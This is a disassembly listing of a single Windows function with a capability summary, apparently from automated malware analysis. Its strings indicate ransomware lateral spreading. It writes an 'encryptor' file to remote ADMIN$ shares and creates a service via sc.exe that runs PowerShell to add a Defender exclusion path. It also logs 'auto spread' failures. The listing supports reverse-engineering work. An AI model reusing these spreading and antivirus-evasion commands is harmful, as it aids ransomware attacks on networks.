Function at 0x140038860
Capabilities:
Clear file content
Get file size
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x438
movaps xmmword [rsp + 0x420], xmm12
movaps xmmword [rsp + 0x410], xmm11
movaps xmmword [rsp + 0x400], xmm10
movaps xmmword [rsp + 0x3f0], xmm9
movaps xmmword [rsp + 0x3e0], xmm8
movdqa xmmword [rsp + 0x3d0], xmm7
movaps xmmword [rsp + 0x3c0], xmm6
mov qword [rsp + 0x188], r8
mov qword [rsp + 0xb8], rdx
mov r13, rcx
lea rax, [rsp + 0x158]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x178], 0
mov rax, qword [rcx]
movzx eax, byte [rax]
or al, byte [0x140227130]
mov qword [rsp + 0x118], rcx
je 0x14003afe7
mov rax, qword [rsp + 0x188]
mov r12, qword [rax]
lea r14, [rax + 8]
cmp r12, r14
je 0x14003afe7
movabs r15, 0x7fffffffffffffef
mov rax, qword [rsp + 0xb8]
lea rbp, [rax + 2]
xorps xmm6, xmm6
movdqa xmm7, xmmword [0x1401f5540]
lea rdi, str.ADMIN_
jmp 0x14003895c
mov r12, rax
cmp rax, r14
je 0x14003afe7
lea rsi, [r12 + 0x22]
test byte [r12 + 0x20], 1
mov rcx, rsi
je 0x140038971
mov rcx, qword [r12 + 0x30]
mov rdx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
jne 0x14003af30
lea rbx, [rsp + 0xe0]
mov rcx, rbx
lea rdx, [0x1401fb2d0]
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
mov rcx, rbx
lea rdx, [0x1401f55f2]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [r12 + 0x20]
test r8b, 1
je 0x1400389ea
mov rsi, qword [r12 + 0x30]
mov r8, qword [r12 + 0x28]
jmp 0x1400389ed
shr r8, 1
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xd0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x80], 1
je 0x140038a38
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0xe0], 1
je 0x140038a4f
mov rcx, qword [rsp + 0xf0]
call fcn.14006fbd0
lea rcx, [rsp + 0x390]
lea rdx, [rsp + 0xc0]
call fcn.1400721d0
lea rdx, [r12 + 0x38]
lea rcx, [rsp + 0x390]
lea r8, [rsp + 0x178]
call fcn.140059fa0
test byte [rsp + 0x390], 1
je 0x140038a95
mov rcx, qword [rsp + 0x3a0]
call fcn.14006fbd0
lea rcx, [rsp + 0x378]
lea rdx, [rsp + 0xc0]
call fcn.1400721d0
lea rcx, [rsp + 0x378]
call fcn.140014020
mov ebx, eax
test byte [rsp + 0x378], 1
je 0x140038ad0
mov rcx, qword [rsp + 0x388]
call fcn.14006fbd0
test bl, bl
je 0x14003af11
lea rsi, [rsp + 0x60]
mov rcx, rsi
lea rdx, [0x1401fb2d0]
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
mov rcx, rsi
lea rdx, [0x1401f55f2]
call fcn.140072e90
lea rcx, [rsp + 0xe0]
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0xf0], rdx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401fb2e2]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xe0], 1
je 0x140038b74
mov rcx, qword [rsp + 0xf0]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x140038b85
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
movzx edi, byte [rsp + 0x80]
mov eax, edi
and al, 1
je 0x140038b9d
mov rdi, qword [rsp + 0x88]
jmp 0x140038ba0
shr rdi, 1
lea rbx, [rdi + 0x13]
cmp rbx, r15
ja 0x14003c8ea
cmp rbx, 0xa
ja 0x140038bcb
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add bl, bl
mov byte [rsp + 0x60], bl
xor esi, esi
jmp 0x140038c11
mov r13, rbx
or r13, 7
inc r13
js 0x14003c909
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbx
movzx eax, byte [rsp + 0x80]
and al, 1
mov ebx, r13d
mov r13, qword [rsp + 0x118]
test bl, 1
lea rcx, [rsp + 0x62]
cmove rsi, rcx
lea rdx, [rsp + 0x82]
test al, al
je 0x140038c31
mov rdx, qword [rsp + 0x90]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rsi + rdi*2 + 0x1e], rax
movups xmm8, xmmword [str.programdata_secles]
movups xmmword [rsi + rdi*2], xmm8
movups xmm9, xmmword [0x1401f58ce]
movups xmmword [rsi + rdi*2 + 0x10], xmm9
mov word [rsi + rdi*2 + 0x26], 0
lea rcx, [rsp + 0x60]
lea rdx, str._running.txt
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xf0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xe0], 1
lea rcx, [rsp + 0xe2]
je 0x140038cbd
mov rcx, qword [rsp + 0xf0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 3
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
test byte [rsp + 0xe0], 1
je 0x140038d01
mov rcx, qword [rsp + 0xf0]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x140038d12
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
and edi, 0xfffffffe
cmp edi, 0x20
je 0x14003c6e2
cmp byte [0x140227130], 0
je 0x14003aee6
movzx edi, byte [rsp + 0x80]
mov eax, edi
and al, 1
je 0x140038d54
mov rdi, qword [rsp + 0x88]
jmp 0x140038d57
shr rdi, 1
lea rbx, [rdi + 0xe]
cmp rbx, r15
ja 0x14003c8fc
cmp rbx, 0xa
ja 0x140038d8b
movaps xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xf0], 0
add bl, bl
mov byte [rsp + 0xe0], bl
xor esi, esi
jmp 0x140038dda
mov r13, rbx
or r13, 7
inc r13
js 0x14003c934
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xe8], rbx
movzx eax, byte [rsp + 0x80]
and al, 1
mov ebx, r13d
mov r13, qword [rsp + 0x118]
test bl, 1
lea rcx, [rsp + 0xe2]
cmove rsi, rcx
lea rdx, [rsp + 0x82]
test al, al
je 0x140038dfd
mov rdx, qword [rsp + 0x90]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [0x1401fb39c]
movups xmmword [rsi + rdi*2 + 0xc], xmm0
movdqu xmm0, xmmword [str.Program_Files]
movdqu xmmword [rsi + rdi*2], xmm0
mov word [rsi + rdi*2 + 0x1c], 0
cmp byte [0x1402851b1], 0
je 0x140038e48
movzx edi, byte [0x140288308]
mov eax, edi
and al, 1
je 0x140038e9a
mov rdi, qword [0x140288310]
jmp 0x140038e9d
lea rcx, [rsp + 0x278]
lea rdx, [rsp + 0xe0]
call fcn.1400721d0
lea rcx, [rsp + 0x278]
call fcn.140024da0
test al, al
je 0x1400396f5
test byte [rsp + 0x278], 1
mov r13, qword [rsp + 0x118]
je 0x140039870
mov rcx, qword [rsp + 0x288]
call fcn.14006fbd0
jmp 0x140039870
shr rdi, 1
lea rbx, [rdi + 0x18]
cmp rbx, r15
ja 0x14003c90e
cmp rbx, 0xa
ja 0x140038ec8
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add bl, bl
mov byte [rsp + 0x60], bl
xor esi, esi
jmp 0x140038f0d
mov r13, rbx
or r13, 7
inc r13
js 0x14003c943
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbx
movzx eax, byte [0x140288308]
and al, 1
mov ebx, r13d
mov r13, qword [rsp + 0x118]
test bl, 1
lea rcx, [rsp + 0x62]
cmove rsi, rcx
lea rdx, [0x14028830a]
test al, al
je 0x140038f2b
mov rdx, qword [0x140288318]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movups xmm10, xmmword [str.WindowsSystem32_sc.exe]
movups xmmword [rsi + rdi*2], xmm10
movups xmm11, xmmword [0x1401fb3be]
movups xmmword [rsi + rdi*2 + 0x10], xmm11
movups xmm12, xmmword [0x1401fb3ce]
movups xmmword [rsi + rdi*2 + 0x20], xmm12
mov word [rsi + rdi*2 + 0x30], 0
test byte [rsp + 0x60], 1
lea rsi, [rsp + 0x62]
je 0x140038f78
mov rsi, qword [rsp + 0x70]
mov byte [rsp + 0x140], 4
mov dword [rsp + 0x142], 0x5c005c
mov word [rsp + 0x146], 0
mov rax, qword [rsp + 0xb8]
movzx r8d, byte [rax]
test r8b, 1
je 0x140038fb1
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x140038fb7
shr r8, 1
mov rdx, rbp
lea rcx, [rsp + 0x140]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x130], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x120], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x120]
lea rdx, str._create_defexser_binPath__cmd.exe__c_powershell.exe_Add_MpPreference__ExclusionPath_c:windows
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x100], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x100]
lea rdx, str.__start_auto_type_own
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
lea rdx, [rsp + 0xa2]
je 0x140039072
mov rdx, qword [rsp + 0xb0]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0xa0], 1
jne 0x1400390f5
test byte [rsp + 0x100], 1
jne 0x14003910c
test byte [rsp + 0x120], 1
jne 0x140039123
test byte [rsp + 0x140], 1
jne 0x14003913a
test byte [rsp + 0x60], 1
je 0x1400390d4
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
movzx edi, byte [0x140288308]
mov eax, edi
and al, 1
je 0x140039154
mov rdi, qword [0x140288310]
jmp 0x140039157
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x1400390af
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x1400390b9
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x140], 1
je 0x1400390c3
mov rcx, qword [rsp + 0x150]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
jne 0x1400390ca
jmp 0x1400390d4
shr rdi, 1
lea rbx, [rdi + 0x18]
cmp rbx, r15
ja 0x14003c925
cmp rbx, 0xa
ja 0x140039182
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add bl, bl
mov byte [rsp + 0x60], bl
xor esi, esi
jmp 0x1400391c7
mov r13, rbx
or r13, 7
inc r13
js 0x14003c939
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbx
movzx eax, byte [0x140288308]
and al, 1
mov ebx, r13d
mov r13, qword [rsp + 0x118]
test bl, 1
lea rcx, [rsp + 0x62]
cmove rsi, rcx
lea rdx, [0x14028830a]
test al, al
je 0x1400391e5
mov rdx, qword [0x140288318]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movups xmmword [rsi + rdi*2], xmm10
movups xmmword [rsi + rdi*2 + 0x10], xmm11
movups xmmword [rsi + rdi*2 + 0x20], xmm12
mov word [rsi + rdi*2 + 0x30], 0
test byte [rsp + 0x60], 1
lea rsi, [rsp + 0x62]
je 0x14003921a
mov rsi, qword [rsp + 0x70]
mov byte [rsp + 0x120], 4
mov dword [rsp + 0x122], 0x5c005c
mov word [rsp + 0x126], 0
mov rax, qword [rsp + 0xb8]
movzx r8d, byte [rax]
test r8b, 1
je 0x140039253
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x140039259
shr r8, 1
mov rdx, rbp
lea rcx, [rsp + 0x120]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x100], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x100]
lea rdx, str._start_defexser
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
lea rdx, [rsp + 0xa2]
je 0x1400392dc
mov rdx, qword [rsp + 0xb0]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0xa0], 1
jne 0x140039357
test byte [rsp + 0x100], 1
jne 0x14003936e
test byte [rsp + 0x120], 1
jne 0x140039385
test byte [rsp + 0x60], 1
je 0x140039334
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
movzx edi, byte [rsp + 0xc0]
mov eax, edi
and al, 1
je 0x14003939b
mov rdi, qword [rsp + 0xc8]
jmp 0x14003939e
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x140039319
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x140039323
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
jne 0x14003932a
jmp 0x140039334
shr rdi, 1
lea rbx, [rdi + 1]
cmp rbx, r15
ja 0x14003c918
cmp rbx, 0xa
ja 0x1400393d2
movaps xmmword [rsp + 0xa0], xmm6
mov qword [rsp + 0xb0], 0
add bl, bl
mov byte [rsp + 0xa0], bl
xor esi, esi
jmp 0x140039421
mov r13, rbx
or r13, 7
inc r13
js 0x14003c93e
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xa8], rbx
movzx eax, byte [rsp + 0xc0]
and al, 1
mov ebx, r13d
mov r13, qword [rsp + 0x118]
test bl, 1
lea rcx, [rsp + 0xa2]
cmove rsi, rcx
lea rdx, [rsp + 0xc2]
test al, al
je 0x140039444
mov rdx, qword [rsp + 0xd0]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
mov dword [rsi + rdi*2], 0x5c
movzx r8d, byte [0x140288548]
test r8b, 1
je 0x140039475
mov rdx, qword [0x140288558]
mov r8, qword [0x140288550]
jmp 0x14003947f
shr r8, 1
lea rdx, [0x14028854a]
lea rdi, [rsp + 0xa0]
mov rcx, rdi
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x1400394be
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 2
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
test byte [rsp + 0x60], 1
je 0x1400394ff
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x140039516
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
lea rax, [rsi + 1]
cmp rax, 1
ja 0x1400395b3
lea rsi, [rsp + 0x100]
mov rcx, rsi
lea rdx, str.could_not_create_encryptor_file_in
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
mov rcx, rsi
lea rdx, str._auto_spread_failed___win32_error_:
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, [rsp + 0x120]
mov edx, eax
call fcn.140073b60
movzx r8d, byte [rsp + 0x120]
test r8b, 1
je 0x14003962e
mov rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0x128]
jmp 0x140039639
movzx eax, byte [0x1402884f8]
mov r8, rax
shr r8, 1
test al, 1
mov rdx, qword [0x140288508]
lea rax, [0x1402884f9]
cmove rdx, rax
mov dword [rsp + 0x184], 0
cmovne r8d, dword [0x140288500]
mov qword [rsp + 0x20], 0
mov rcx, rsi
lea r9, [rsp + 0x184]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_SetEndOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
movzx eax, byte [0x1402884f8]
test al, 1
je 0x14003970d
mov rax, qword [0x140288500]
jmp 0x140039710
shr r8, 1
lea rdx, [rsp + 0x122]
mov rcx, rdi
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x140039670
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x60], 1
jne 0x1400396a2
test byte [rsp + 0x120], 1
jne 0x1400396b6
test byte [rsp + 0xa0], 1
jne 0x1400396cd
test byte [rsp + 0x100], 1
je 0x14003aec3
jmp 0x1400396e8
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x140039688
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x140039692
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14003aec3
mov rcx, qword [rsp + 0x110]
jmp 0x14003aebe
movzx edi, byte [rsp + 0xe0]
mov eax, edi
and al, 1
je 0x140039745
mov rdi, qword [rsp + 0xe8]
jmp 0x140039748
shr rax, 1
mov ecx, dword [rsp + 0x184]
cmp rax, rcx
jne 0x14003ae3f
cmp byte [0x140289771], 0
jne 0x1400398f6
mov rcx, qword [r13 + 8]
movzx eax, byte [rcx]
test al, 1
je 0x1400398d9
mov rax, qword [rcx + 8]
jmp 0x1400398dc
shr rdi, 1
lea rbx, [rdi + 6]
cmp rbx, r15
ja 0x14003c948
cmp rbx, 0xa
ja 0x14003977c
movaps xmmword [rsp + 0x190], xmm6
mov qword [rsp + 0x1a0], 0
add bl, bl
mov byte [rsp + 0x190], bl
xor esi, esi
jmp 0x1400397c3
mov r13, rbx
or r13, 7
inc r13
js 0x14003c98d
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0x190], r13
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x198], rbx
movzx eax, byte [rsp + 0xe0]
and al, 1
mov ebx, r13d
test bl, 1
lea rcx, [rsp + 0x192]
cmove rsi, rcx
lea rdx, [rsp + 0xe2]
test al, al
je 0x1400397e6
mov rdx, qword [rsp + 0xf0]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movabs rax, 0x38007800280020
mov qword [rsi + rdi*2], rax
mov dword [rsi + rdi*2 + 8], 0x290036
mov word [rsi + rdi*2 + 0xc], 0
lea rcx, [rsp + 0x190]
call fcn.140024da0
mov r13, qword [rsp + 0x118]
mov ebx, eax
test byte [rsp + 0x190], 1
jne 0x140039844
test byte [rsp + 0x278], 1
jne 0x14003985b
test bl, bl
je 0x140038e32
jmp 0x140039870
mov rcx, qword [rsp + 0x1a0]
call fcn.14006fbd0
test byte [rsp + 0x278], 1
je 0x14003983a
mov rcx, qword [rsp + 0x288]
call fcn.14006fbd0
test bl, bl
je 0x140038e32
lea rsi, [rsp + 0xa0]
mov rcx, rsi
lea rdx, str.auto_spread_for_ip
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
mov rcx, rsi
lea rdx, str._was_NOT_done_failed___AV_detected__do_it_manully
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x1400398cd
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140012160
jmp 0x14003ae9b
shr rax, 1
test rax, rax
jne 0x1400398f6
lea rcx, str.could_not_read_slspread.txt_file_file_doesnt_exist___will_autospread_with_main_slconfig.txt_config_file_if_exists__on_target_machines_too
mov dl, 1
call fcn.140012160
mov byte [0x140289771], 1
mov rsi, qword [r13 + 8]
movzx eax, byte [rsi]
test al, 1
je 0x14003992a
mov rax, qword [rsi + 8]
test rax, rax
je 0x140039932
movzx ebx, byte [rsp + 0xc0]
mov eax, ebx
and al, 1
mov qword [rsp + 0x170], rbp
je 0x14003994a
mov rbx, qword [rsp + 0xc8]
jmp 0x14003994d
shr rax, 1
test rax, rax
jne 0x14003990a
mov rsi, qword [r13 + 0x10]
movzx eax, byte [rsi]
test al, 1
je 0x140039ae0
mov rax, qword [rsi + 8]
jmp 0x140039ae3
shr rbx, 1
lea rbp, [rbx + 0xd]
cmp rbp, r15
ja 0x14003c992
cmp rbp, 0xa
ja 0x14003997a
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add bpl, bpl
mov byte [rsp + 0x60], bpl
xor edi, edi
jmp 0x1400399c7
mov r13, rbp
or r13, 7
inc r13
js 0x14003c9c2
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rdi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbp
movzx eax, byte [rsp + 0xc0]
and al, 1
mov rcx, qword [rsp + 0x118]
mov rsi, qword [rcx + 8]
mov ebp, r13d
mov r13, rcx
test bpl, 1
lea rcx, [rsp + 0x62]
cmove rdi, rcx
lea rdx, [rsp + 0xc2]
test al, al
je 0x1400399e8
mov rdx, qword [rsp + 0xd0]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str._slconfig.txt]
movups xmmword [rdi + rbx*2], xmm0
movdqu xmm0, xmmword [0x1401f5a1a]
movdqu xmmword [rdi + rbx*2 + 0xa], xmm0
mov word [rdi + rbx*2 + 0x1a], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
mov rbp, qword [rsp + 0x170]
je 0x140039a2d
mov rcx, qword [rsp + 0x70]
movzx r8d, byte [rsi]
test r8b, 1
lea rdi, [rsp + 0xa0]
je 0x140039a49
mov r8, qword [rsi + 8]
mov rsi, qword [rsi + 0x10]
jmp 0x140039a4f
inc rsi
shr r8, 1
mov rdx, rsi
call fcn.14005beb0
mov ebx, eax
test byte [rsp + 0x60], 1
je 0x140039a6a
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test bl, bl
jne 0x140039d31
lea rsi, [rsp + 0x100]
mov rcx, rsi
lea rdx, str.could_not_write_slconfig_file_in
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
mov rcx, rsi
lea rdx, str._auto_spread_will_be_done_without_config_file_on
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rsp + 0xb8]
movzx r8d, byte [rax]
test r8b, 1
je 0x140039b04
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x140039b0a
shr rax, 1
test rax, rax
je 0x140039d31
movzx ebx, byte [rsp + 0xc0]
mov eax, ebx
and al, 1
je 0x140039b4d
mov rbx, qword [rsp + 0xc8]
jmp 0x140039b50
shr r8, 1
mov rdx, rbp
mov rcx, rdi
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x140039b41
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140012160
jmp 0x140039d01
shr rbx, 1
lea r13, [rbx + 0xd]
cmp r13, r15
ja 0x14003c9d4
cmp r13, 0xa
ja 0x140039b7d
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add r13b, r13b
mov byte [rsp + 0x60], r13b
xor edi, edi
jmp 0x140039bd7
mov r15, rbp
mov rbp, r13
or rbp, 7
inc rbp
js 0x14003c9e3
mov rcx, rbp
add rcx, rbp
call fcn.14006fb50
mov rdi, rax
or rbp, 1
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r13
movzx eax, byte [rsp + 0xc0]
and al, 1
mov rcx, qword [rsp + 0x118]
mov rsi, qword [rcx + 0x10]
mov r13d, ebp
mov rbp, r15
movabs r15, 0x7fffffffffffffef
test r13b, 1
lea rcx, [rsp + 0x62]
cmove rdi, rcx
lea rdx, [rsp + 0xc2]
test al, al
je 0x140039bf8
mov rdx, qword [rsp + 0xd0]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str._slconfig.txt]
movups xmmword [rdi + rbx*2], xmm0
movdqu xmm0, xmmword [0x1401f5a1a]
movdqu xmmword [rdi + rbx*2 + 0xa], xmm0
mov word [rdi + rbx*2 + 0x1a], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
mov r13, qword [rsp + 0x118]
je 0x140039c3d
mov rcx, qword [rsp + 0x70]
movzx r8d, byte [rsi]
test r8b, 1
lea rdi, [rsp + 0xa0]
je 0x140039c59
mov r8, qword [rsi + 8]
mov rsi, qword [rsi + 0x10]
jmp 0x140039c5f
inc rsi
shr r8, 1
mov rdx, rsi
call fcn.14005beb0
mov ebx, eax
test byte [rsp + 0x60], 1
je 0x140039c7a
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test bl, bl
jne 0x140039d31
lea rsi, [rsp + 0x100]
mov rcx, rsi
lea rdx, str.could_not_write_slconfig_file_in
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
mov rcx, rsi
lea rdx, str._auto_spread_will_be_done_without_config_file_on
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x60]
mov rdx, rdi
mov r8, qword [rsp + 0xb8]
call fcn.140013e40
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x140039cfa
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x60], 1
jne 0x14003ab8a
test byte [rsp + 0xa0], 1
